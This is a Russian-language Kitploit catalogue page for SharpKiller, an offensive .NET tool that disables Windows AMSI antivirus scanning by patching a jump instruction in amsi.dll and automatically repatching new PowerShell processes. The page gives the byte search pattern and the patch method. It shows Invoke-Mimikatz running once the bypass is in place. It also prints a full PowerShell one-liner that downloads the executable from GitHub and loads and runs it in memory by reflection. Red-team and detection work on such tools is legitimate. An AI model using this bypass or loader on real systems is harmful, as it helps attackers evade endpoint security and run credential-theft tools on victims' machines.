Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SharpKiller — Пожизненный обход AMSI от @ZeroMemoryEx, портированный на .NET Framework 4.8 | Kitploit
Инструменты/GitHubGitHub/s1lkys/sharpkiller
Повышение привилегийЭксплуатацияОбход IDS/IPSПост-эксплуатацияRed TeamingРазработка Полезной Нагрузки
GitHubs1lkys/sharpkiller

SharpKiller

Пожизненный обход AMSI от @ZeroMemoryEx, портированный на .NET Framework 4.8

Репозиторий
351431 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SharpKiller

Пожизненный обход AMSI AMSI-Killer от @ZeroMemoryEx, портированный на .NET Framework 4.8.

Требуется дополнительная обфускация

https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059

Новые интегрированные функции:

[ x ] - Живое сканирование новых процессов powershell каждые 0.5 секунд -> Автоматически патчит новые экземпляры powershell

Сборка решения

  • Установите платформу явно на x64 в Build > Configuration Manager

Как это работает?

Сканирование опкодов

  • мы получаем точный адрес инструкции перехода, ища первый байт каждой инструкции; этот метод эффективен даже при обновлениях или модификациях целевого набора данных.

  • например:

    | 48:85D2 | test rdx, rdx |

    | 74 3F | je amsi.7FFAE957C694 |

    | 48 : 85C9 | test rcx, rcx |

    | 74 3A | je amsi.7FFAE957C694 |

    | 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |

    | 74 33 | je amsi.7FFAE957C694 |

  • шаблон поиска будет таким:

    { 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

    image

Патч

До патча

  • Программа проверяет значение RDX на равенство самому себе. Если сравнение даёт 0, программа выполняет переход на возврат. В противном случае программа переходит к оценке следующей инструкции

    image

  • мы не можем выполнить "Invoke-Mimikatz"

    image

После патча

  • мы патчим первый байт и меняем его с JE на JMP, чтобы он возвращал напрямую

    Screenshot 2023-02-26 195848

    image

  • теперь мы можем выполнить "Invoke-Mimikatz"

Новые созданные процессы

  • Sharp-Killer будет патчить любые новые созданные процессы Powershell в почти реальном времени.

Видеодемонстрация

video

Однострочник для запуска с рефлексией

root@kitploit:~
$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));

Эта ошибка возникает при использовании упомянутого однострочника?

Если вы когда-либо видели это сообщение и задавались вопросом о нём - добро пожаловать в .NET AMSI Interface! :-)

root@kitploit:~
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."
  • https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/

Ссылки:

  • https://github.com/ZeroMemoryEx/Amsi-Killer
Скачать инструмент